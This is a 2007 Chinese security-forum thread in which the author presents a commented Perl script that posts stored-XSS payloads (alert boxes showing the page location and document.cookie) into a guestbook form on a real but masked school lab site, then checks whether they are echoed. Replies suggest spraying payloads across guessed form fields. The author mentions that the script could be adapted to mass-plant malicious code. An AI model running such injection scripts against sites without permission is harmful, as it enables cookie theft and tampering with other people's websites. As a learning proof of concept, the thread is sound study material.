发新话题
打印

[原创]Perl脚本打造自己简单的XSS Proof of Concept

[原创]Perl脚本打造自己简单的XSS Proof of Concept

文章作者:冰血封情 [E.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

刚学了几天Perl,最近在学校站点上逛,偶然发现freescale实验室网站的留言本有XSS漏洞(图1),于是就打算用它来练习写一个Perl的测试程序,介绍小菜入门的文章,高手略过。

XSS大家都熟悉的很,细节就不赘述。经过手工测试成功后,开始为编写Perl测试工具做前期准备。
首先,通过查阅网页的HTML源代码中找到提交的变量名(图2)。

特别要注意,这个留言本用于验证表单提交还有一个隐藏的参数。(图3)

掌握了上述的资料,我们就可以开始编写一个XSS测试程序了。在没有验证码的情况下,编写这样一个程序比较简单,如果有验证码就麻烦了,还需要图片识别代码。
既然是小菜入门,就从简好了,下面是代码,我尽量减少了无关的部分并且详细的加上注释。
Code Language : Perl
  1. #下面这行不是注释 是标识Perl程序的文件头 非nix系统下显得就不那么重要了
  2. #!/usr/bin/perl
  3. #下面这行是注释 写明了文件名字和作者
  4. #Freescale Guestbook book_write.asp XSS Proof of Concept By 冰血封情 [E.S.T]
  5. use HTTP::Request::Common qw(POST GET);
  6. use LWP::UserAgent;
  7.  
  8. #设定使用者的浏览器信息
  9. my $ua = LWP::UserAgent->new();
  10. $ua->agent(\"XSSInject/v1.1\");
  11.  
  12. #两个不同的跨站测试语句存放在变量xss里 如果挂马也可以写在这里
  13. my @xss = ('><script>alert(window.location);</script>','><script>alert(document.cookie);</script>');
  14. #地址我屏蔽了
  15. my $weburl = \"http://www.target.com/guestbook/\";
  16.  
  17. #表单中action提交的页面位置
  18. my $url = \"${weburl}book_write.asp\";
  19. #提交数据的过程
  20. my $inject;
  21. #用一个循环想该文件的几个要填写的变量提交跨站测试语句
  22. #UserName UserMail等我门之前在图2中查到过
  23. foreach $inject (@xss) {
  24.  my $req = POST $url, [UserName => \"EvilOctal\",
  25.             UserMail => $inject,
  26.             Comments => \"EvilOctal\",
  27.             send => \"ok\"];
  28.  #下面一行取得浏览器反馈信息 是调试时候用的
  29.  my $res = $ua->request($req);    
  30.  
  31.  #重新定向提交地址到查看留言的页面
  32.  my $urlv = \"${weburl}book_view.asp\";
  33.  
  34.  #提交访问查看留言
  35.  my $req = POST $urlv;
  36.  
  37.  #然后取得该页面的反馈信息 其实就是代码
  38.  my $res = $ua->request($req);
  39.  
  40.  #使用$_当前变量存储返回字符串
  41.  $_ = $res->as_string;
  42.  
  43.  #检查返回字符串中是否已经成功提交了XSS语句
  44.  if (index(lc $_, lc $inject) != -1)
  45.  {
  46.    print \"这个页面可能存在跨站脚本执行漏洞:[$url]\n\";
  47.  }
  48. }
Parsed in 0.015 seconds
如果你安装了Perl,那么将上述代码保存为xss.pl文件,在命令行下使用perl xss.pl就可以解析执行这个脚本了,利用循环控制语句还能实现批量发送。(图4)

然后我们去访问留言板看看数据是否被提交了。
进入留言板查看留言页面,果然弹出两个对话框,查看一下网页源代码,可以看到,XSS语句已经被写入了(图5)。

安全是双刃剑,我这里只是检测是否存在脚本漏洞,这是个举一反三的小东西,稍作修改就可以用来批量挂马等其他用处,大家切勿动邪念哦。
菜文,请各位高手多多斧正。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

LZ能把这留言本程序 说下是什么不?
http://momoran.com

TOP

引用:
引用第1楼rokey于2007-09-08 20:30发表的 :
LZ能把这留言本程序 说下是什么不?
为了练习而随便找的一个有xss的站,黑盒测试的,看不见代码。
那个留言本应该是比较老土的常见程序,管理员自己修改的。文章重点并不在留言本,而是自己学习Perl的实战小练习。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

><script>alert(window.location);</script>&#39;,&#39;><script>alert(document.cookie);</script>

一点点都没过滤。这东西有啥子用?
语句可以多一点,多次提交来确定。
xssid = xssid +1
循环。
我还以为是智能探测提交地方的,原来是手动的。

这就是EST老大的科普作品?
20字节够写什么?

TOP

引用:
引用第3楼remax于2007-09-09 01:25发表的 :
><script>alert(window.location);</script>&#39;,&#39;><script>alert(document.cookie);</script>

一点点都没过滤。这东西有啥子用?
语句可以多一点,多次提交来确定。
xssid = xssid +1
.......
这只是个简单的Proof of Concept,我刚学Perl的一点小总结。数组里的东西都可以自己加,其他的地方要加什么也可以自己加,代码很多地方我都注释清楚了。:)
E.S.T.不是帮派,没有什么老大。我只是邪恶八进制的运营责任人,也就是站长,有更大的论坛管理权限,同时也承担着更大的责任,我不仅仅要学习技术,还要花精力来学别的。所以技术上菜一点还请remax大虾多多包含,嘴上留情。
如果技术上的指点,请继续,谢谢。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

remax提示的我昨晚想了一下,挺不错的,这自动找探测提交的地方也不难,只是我想了几个思路都比较烦琐。
我是想先取得留言页面的代码,然后查找这样一个数组的关键字:
my @findname = (&#39;您的姓名&#39;,&#39;您的邮箱&#39;,&#39;留言内容&#39;);
找到第一个的话,就从第一个往后寻找出第一个my $nametarg = &#39; name="&#39;;的字符串,然后将后卖面到"之前的字符全部抓取出来赋值给$username,再将$username这些变量用于第二次检查跨站的提交。

可是这个方法太烦琐了,不知道remax和其他某位是否有更好的办法,斟酌一下。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

XSS跨站
UserMail => $inject,
  发下源码研究。研究

TOP

引用:
引用第5楼冰血封情于2007-09-09 13:18发表的 :
remax提示的我昨晚想了一下,挺不错的,这自动找探测提交的地方也不难,只是我想了几个思路都比较烦琐。
我是想先取得留言页面的代码,然后查找这样一个数组的关键字:
my @findname = (&#39;您的姓名&#39;,&#39;您的邮箱&#39;,&#39;留言内容&#39;);
找到第一个的话,就从第一个往后寻找出第一个my $nametarg = &#39; name="&#39;;的字符串,然后将后卖面到"之前的字符全部抓取出来赋值给$username,再将$username这些变量用于第二次检查跨站的提交。

.......
我再次声明我没啥技术,但是取巧的方法还是有的。
搜集大量关键字,类似username/mail/qq/msn等,可以全部post xss上去。反正提交的多了也不会出错。
20字节够写什么?

TOP

能否再智能型些!~~~比如如果字符被过滤!能否自动添加语句闭合一些字符来达到跨站目的!!!~~
http://momoran.com

TOP

引用:
引用第7楼remax于2007-09-09 20:16发表的 :

我再次声明我没啥技术,但是取巧的方法还是有的。
搜集大量关键字,类似username/mail/qq/msn等,可以全部post xss上去。反正提交的多了也不会出错。
username/mail/qq/msn 这些关键字我看是不能主要采集~~ 代码中好地方都能看到!
还是比如:邮件地址 姓名 联系地址 一些的可以吧
http://momoran.com

TOP

引用:
引用第7楼remax于2007-09-09 20:16发表的 :

我再次声明我没啥技术,但是取巧的方法还是有的。
搜集大量关键字,类似username/mail/qq/msn等,可以全部post xss上去。反正提交的多了也不会出错。
我找了一些网页,看到这个的方法:
http://community.csdn.net/Expert/TopicView3.asp?id=5658828
貌似可以用提取两段字符中间的东西来提取name的内容,他的程序写的有点乱不是特别看得懂,另外,我也还没有学到那里。:)
有点急了,所以才发这么个菜文。

按照你的说法就可以用关键字库了,好像可以写个xss扫描器,不过毕竟是库值,还是有一些局限。
有空再按照各位的想法再改吧改吧,看看能否再出个概念模型,多谢指教。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

before_pattern&#39; => xxx{name"},
after_pattern&#39; => xxx{"},
有趣有趣,拒绝接收短消息。
20字节够写什么?

TOP

发新话题